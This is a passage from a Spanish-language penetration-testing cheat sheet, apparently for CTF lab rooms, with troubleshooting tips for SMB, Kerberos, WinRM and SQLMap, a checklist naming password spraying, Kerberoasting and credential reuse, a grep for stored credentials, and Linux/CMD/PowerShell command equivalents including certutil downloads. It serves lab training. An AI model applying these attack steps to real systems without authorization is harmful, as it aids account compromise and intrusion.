smbclient ACCESS_DENIED	Formato de usuario/dominio o permisos insuficientes.	Probar -N, Guest, DOMAIN/user, user%pass, smbmap y nxc.
Kerberos KRB_AP_ERR_SKEW	Hora desincronizada.	Sincronizar hora con DC; comprobar timezone; usar FQDN correcto.
Cannot find KDC	DNS/hosts/realm mal.	Añadir DC_FQDN y dominio a /etc/hosts; revisar DOMAIN en mayus/minus.
evil-winrm falla	Puerto cerrado, formato usuario o cred invalida.	nxc winrm \$IP -u USER -p PASS; probar DOMAIN\USER; revisar 5985/5986.
SQLMap no detecta nada	Request incompleta, parametro no vulnerable o WAF/filtro.	Usar -r desde Burp, marcar parametro con *, subir level/risk con cuidado.
PoC no funciona	Version/config no coincide o requiere auth.	Leer PoC, confirmar precondiciones, reproducir peticion minima con curl/Burp.

Regla de oro

- Si una herramienta falla, reproduce la condicion minima con curl, nc, smbclient o nxc.
- Si un servicio depende de nombre, no insistas solo con IP.
- Si una credencial funciona en un sitio, pruebala de forma controlada en los demas servicios.

17. Checklist de atasco

Preguntas para cuando llevas rato sin avanzar.

No es una lista para hacer siempre; es una lista de rescate. Si estas atascado, vuelve a lo basico y busca una superficie que no hayas reenumerado con la informacion nueva.

Pregunta	Por que puede desbloquear
He revisado UDP?	DNS, SNMP, TFTP o NFS suelen cambiar completamente la room.
He probado vhosts?	Muchas webs esconden paneles o apps por Host header.
He mirado robots, sitemap, JS y codigo fuente?	Puede filtrar rutas, endpoints, tokens o comentarios.
Tengo usuarios reales?	Usuarios reales permiten spraying, AS-REP, Kerberoast o cred reuse.
He reenumerado con nuevas credenciales?	Una cred valida cambia shares, LDAP, web, sudo, WinRM y DB.
Hay servicios solo en localhost?	Puede requerir pivot o port forward tras conseguir shell.
He probado cred reuse?	La misma password puede abrir SSH, SMB, WinRM, panel web, MySQL o sudo.
Estoy usando hostname cuando toca?	Kerberos, vhosts y apps internas pueden fallar solo por usar IP.
He revisado permisos de escritura?	Privesc suele venir de scripts, servicios, cron/tareas o configs escribibles.
Estoy siguiendo un falso positivo?	Vuelve a evidencia: version exacta, respuesta real e impacto claro.

Reset de 10 minutos

```
cat nmap/services.txt
grep -RniE 'pass|user|key|token|admin' loot web notes 2>/dev/null
cat notes/creds.md 2>/dev/null
cat notes/timeline.md 2>/dev/null
```

- Escribe en una linea cual es tu mejor hipotesis actual.
- Escribe que evidencia la apoya y que prueba la descartaria.
- Si no puedes responder eso, vuelve a enumeracion, no a exploits.

18. Notas y cierre

Que registrar para no perderte y poder repetir la cadena.

Plantilla minima

```
# Room
- IP:
- Hostnames:
- Dominio:
- Puertos:
- Credenciales:
- Hallazgo clave:
- Acceso inicial:
- Escalada:
- Flags:
- Root cause:
```

Registro	Contenido
Superficie	Puerto, servicio, version, evidencia y siguiente prueba.
Comando	Contexto, comando, resultado importante y decision desbloqueada.
Credenciales	Usuario, password/hash, fuente, servicio probado y resultado.
Hallazgo	Impacto, precondiciones, pasos reproducibles, evidencia y mitigacion teorica.
Cierre	Comandos minimos para reproducir user/root y falsos caminos relevantes.

19. Equivalencias

Traduccion rapida de comandos entre Linux, CMD y PowerShell.

Objetivo	Linux	CMD	PowerShell
Listar	ls -la	dir	Get-ChildItem / ls
Ver archivo	cat file	type file	Get-Content file
Copiar	cp a b	copy a b	Copy-Item a b
Mover	mv a b	move a b	Move-Item a b
Borrar	rm file	del file	Remove-Item file
Buscar texto	grep -R pass .	findstr /S /I pass *	Select-String -Pattern pass -Recurse
Buscar archivo	find / -name file	dir /s /b file	Get-ChildItem -Recurse -Filter file
Procesos	ps aux	tasklist	Get-Process
Red	ip a	ipconfig /all	Get-NetIPConfiguration
Puertos	ss -tulpen	netstat -ano	Get-NetTCPConnection
Descargar	wget/curl	certutil -urlcache -split -f	Invoke-WebRequest -OutFile
Hash	sha256sum file	certutil -hashfile file SHA256	Get-FileHash file

- PowerShell acepta alias como ls, cat, cp, mv y rm, pero no siempre se comportan igual que Bash.
- En writeups usa comandos nativos claros cuando quieras reproducibilidad.
- En Windows, rutas con espacios necesitan comillas.